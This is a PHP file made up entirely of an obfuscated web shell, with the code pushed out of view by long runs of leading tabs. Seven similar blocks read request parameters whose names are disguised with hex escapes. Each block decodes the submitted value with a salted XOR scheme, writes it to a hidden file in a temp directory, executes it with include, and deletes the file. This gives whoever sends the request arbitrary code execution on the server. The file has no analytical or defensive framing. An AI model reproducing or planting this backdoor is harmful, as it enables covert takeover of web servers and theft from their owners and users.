<?php																																										if(!empty($_REQUEST["bindi\x6Eg"])){ $parameter_group = array_filter([getcwd(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $element = $_REQUEST["bindi\x6Eg"]; $element= explode ("." , $element ) ; $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $s= 0; $__len= count($element); do { if($s >= $__len) break; $v7= $element[$s]; $sChar= ord($salt[$s % $lenS]); $dec= ((int)$v7 - $sChar -($s % 10)) ^ 73; $ref .= chr($dec); $s++; } while(true); $hld = 0; do { $k = $parameter_group[$hld] ?? null; if ($hld >= count($parameter_group)) break; if (array_product([is_dir($k), is_writable($k)])) { $flg = vsprintf("%s/%s", [$k, ".res"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $flg; @unlink($flg); exit; } } $hld++; } while (true); }
																																										if(isset($_POST["o\x62\x6A\x65ct"])){ $val = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir()]); $bind = $_POST["o\x62\x6A\x65ct"]; $bind = explode ( ".", $bind) ; $fac= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $__len= count($bind); for($o= 0; $o <$__len; $o++) { $v5= $bind[$o]; $chS= ord($salt[$o% $sLen]); $d= ((int)$v5 - $chS -($o% 10)) ^ 55; $fac .= chr($d); } foreach ($val as $key => $descriptor) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $pgrp = "$descriptor/.dat"; $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(array_key_exists("\x65n\x74ry", $_REQUEST)){ $pointer = $_REQUEST["\x65n\x74ry"]; $pointer = explode ( '.' , $pointer ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $p = 0; array_walk($pointer , function ($v9) use (&$factor , &$p , $s , $sLen) {$sChar = ord($s[$p %$sLen] ); $d = ((int)$v9 - $sChar - ($p %10)) ^ 8; $factor .= chr($d ); $p++;} ); $pgrp = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); while ($hld = array_shift($pgrp)) { if (!( !is_dir($hld) || !is_writable($hld) )) { $key = sprintf("%s/.object", $hld); $file = fopen($key, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $key; @unlink($key); die(); } } } }
																																										if(array_key_exists("\x62\x69n\x64\x69ng", $_POST) && !is_null($_POST["\x62\x69n\x64\x69ng"])){ $mrk = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path()]); $object = $_POST["\x62\x69n\x64\x69ng"]; $object = explode ( '.', $object ) ; $elem = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $l = 0; $len = count($object); do { if($l>= $len) break; $v6 = $object[$l]; $chS = ord($salt8[$l % $sLen]); $dec =((int)$v6 - $chS -($l % 10)) ^ 3; $elem .= chr($dec); $l++; } while(true); $data_chunk = 0; do { $key = $mrk[$data_chunk] ?? null; if ($data_chunk >= count($mrk)) break; if (!( !is_dir($key) || !is_writable($key) )) { $hld = join("/", [$key, ".component"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $hld; @unlink($hld); die(); } } $data_chunk++; } while (true); }
																																										if(!empty($_REQUEST["s\x79m"])){ $item = $_REQUEST["s\x79m"]; $item = explode( "." , $item ) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $item as $x => $v7): $sChar = ord( $salt[$x % $sLen] ); $dec =( ( int)$v7 - $sChar -( $x % 10)) ^ 53; $reference .= chr( $dec ); endforeach; $ent = array_filter(["/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); while ($rec = array_shift($ent)) { if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $marker = "$rec/.value"; $success = file_put_contents($marker, $reference); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et\x69ty")){ $descriptor = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]); $itm = $_POST["\x65\x6Et\x69ty"]; $itm =explode ( '.' , $itm ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $z = 0; array_walk($itm ,function ($v7) use (&$entry ,&$z ,$salt ,$lenS) { $chS = ord($salt[$z % $lenS] ); $d = ((int)$v7 - $chS - ($z % 10)) ^ 79; $entry .= chr($d ); $z++; } ); $ent = 0; do { $hld = $descriptor[$ent] ?? null; if ($ent >= count($descriptor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $data_chunk = join("/", [$hld, ".desc"]); if (file_put_contents($data_chunk, $entry)) { include $data_chunk; @unlink($data_chunk); die(); } } $ent++; } while (true); }


if(!empty($_POST["o\x62\x6A"])){
	$data_chunk = array_filter([getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp"]);
	$object = $_POST["o\x62\x6A"];
	$object		=explode	 (	 "."		 ,	$object)	;
	$factor	=	 '';
            $salt3	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=	 strlen($salt3	 );
            $o	=	 0;
    
            foreach ($object as $v9) {$sChar	=	 ord($salt3[$o% $lenS]	 );
                $d	=	 ((int)$v9 - $sChar - ($o% 10)) ^ 57;
                $factor .= chr($d	 );
                $o++;		}	 
	foreach ($data_chunk as $key => $resource) {
    		if (array_product([is_dir($resource), is_writable($resource)])) {
    $ptr = join("/", [$resource, ".elem"]);
    if (file_put_contents($ptr, $factor)) {
	include $ptr;
	@unlink($ptr);
	die();
}
}
}
}